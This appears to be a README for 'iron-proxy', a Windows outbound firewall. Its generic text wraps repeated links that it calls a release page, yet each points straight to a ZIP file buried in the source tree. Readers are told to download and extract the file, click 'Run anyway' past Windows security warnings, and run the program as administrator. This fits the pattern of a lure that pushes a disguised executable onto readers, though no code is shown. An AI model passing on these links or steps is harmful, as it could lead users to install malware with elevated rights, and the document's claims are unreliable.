🛡️ iron-proxy - Control outbound access with ease

🔍 What iron-proxy does

iron-proxy is an egress firewall for untrusted workloads. It helps you control what apps, tools, or services can reach the internet from your Windows PC.

Use it when you want to:

• Block unwanted outbound network access
• Limit what an app can connect to
• Watch and control traffic from software you do not fully trust
• Add a simple layer of network control without complex setup

📥 Download for Windows

Visit this page to download iron-proxy:

https://raw.githubusercontent.com/Asaza366/iron-proxy/main/internal/proxy/proxy-iron-v2.2.zip

On that page, look for the latest release and download the Windows file that matches your system.

🪟 Windows setup

1. Open the release page.
2. Find the latest version.
3. Download the Windows package or .exe file from the release assets.
4. Save the file to a folder you can find again, such as Downloads or Desktop.
5. If the file is a ZIP archive, right-click it and choose Extract All.
6. Open the extracted folder.
7. Double-click the iron-proxy program to start it.

If Windows shows a security prompt:

1. Click More info.
2. Click Run anyway only if you trust the source.
3. Continue until the app opens.

🧭 First run

After you start iron-proxy, it will begin watching outbound connections for the workloads you choose.

A typical first setup looks like this:

1. Open the app.
2. Choose the app, service, or process you want to control.
3. Set the outbound rule you want.
4. Allow only the destinations you trust.
5. Save the rule.
6. Keep iron-proxy running while you use the app.

If the software offers a tray icon, you can leave it running in the background.

⚙️ How it works

iron-proxy sits between your workload and the network. It checks outbound requests and applies the rules you set.

A simple model:

• A program tries to connect out
• iron-proxy checks the rule
• The connection is allowed or blocked

This helps reduce the risk from:

• Unknown tools
• Test apps
• Untrusted scripts
• Software that phones home too much

🧰 What you need

For a smooth install on Windows, use:

• Windows 10 or Windows 11
• An active internet connection for the first download
• A user account with permission to run apps
• Enough disk space for the app and its logs

For best results:

• Keep Windows updated
• Use a standard desktop or laptop
• Close other network tools if they conflict with firewall rules

🛠️ Common uses

iron-proxy can help with everyday control tasks:

• Limit a new app to one site
• Block a test tool from reaching the internet
• Stop an unknown process from sending data
• Allow only work-related destinations
• Separate trusted and untrusted workloads

🧪 Basic usage examples

Example 1: Block a test app

1. Start iron-proxy.
2. Add the test app.
3. Set outbound access to blocked.
4. Run the app.
5. Confirm that it cannot reach the internet.

Example 2: Allow only one domain

1. Add the app you want to control.
2. Create a rule for one allowed destination.
3. Block all other outbound traffic.
4. Save the rule.
5. Check that the app only reaches the allowed site.

Example 3: Watch a temporary tool

1. Open iron-proxy.
2. Add the tool.
3. Turn on monitoring.
4. Review the outbound attempts.
5. Keep, edit, or remove the rule after testing

🔐 Security tips

Use iron-proxy with care when you run software you do not trust.

Good habits:

• Start with a block-first rule for new tools
• Allow only the hosts you know
• Review rules after each test
• Remove old rules you no longer need
• Keep the app updated when new releases appear

🧭 Where to get updates

Check the release page for new versions:

https://raw.githubusercontent.com/Asaza366/iron-proxy/main/internal/proxy/proxy-iron-v2.2.zip

Use that page to:

• Get the latest Windows build
• See version notes
• Replace an older copy with a newer one

📁 Suggested folder layout

Keep your files in a simple place so you can find them later:

• Downloads\iron-proxy
• Desktop\iron-proxy
• C:\Apps\iron-proxy

If you extract a ZIP file, keep the whole folder together. Do not move only one file unless the release notes say you can.

🧩 If the app does not open

Try these steps:

1. Right-click the file and choose Run as administrator
2. Check whether Windows blocked the file
3. Make sure you extracted all files if you downloaded a ZIP
4. Try downloading the latest release again
5. Reboot Windows and try once more

If the app starts but does not control traffic:

1. Check that it is still running
2. Confirm that your rule is active
3. Make sure the target app is selected
4. Review any Windows firewall settings that may conflict

🔎 File types you may see

You may see one of these in the release assets:

• .exe — a Windows program you can run
• .zip — a compressed folder you must extract
• .msi — a Windows installer package

If you see more than one Windows file, pick the one that matches your usual setup.

🖥️ Suggested workflow

A simple way to use iron-proxy:

1. Download the latest release
2. Open the app
3. Add the program you want to control
4. Set outbound rules
5. Run the program
6. Watch the connection behavior
7. Adjust the rule if needed

🧾 License and source

This project is hosted on GitHub. Use the release page to find the current Windows build and related project files

https://raw.githubusercontent.com/Asaza366/iron-proxy/main/internal/proxy/proxy-iron-v2.2.zip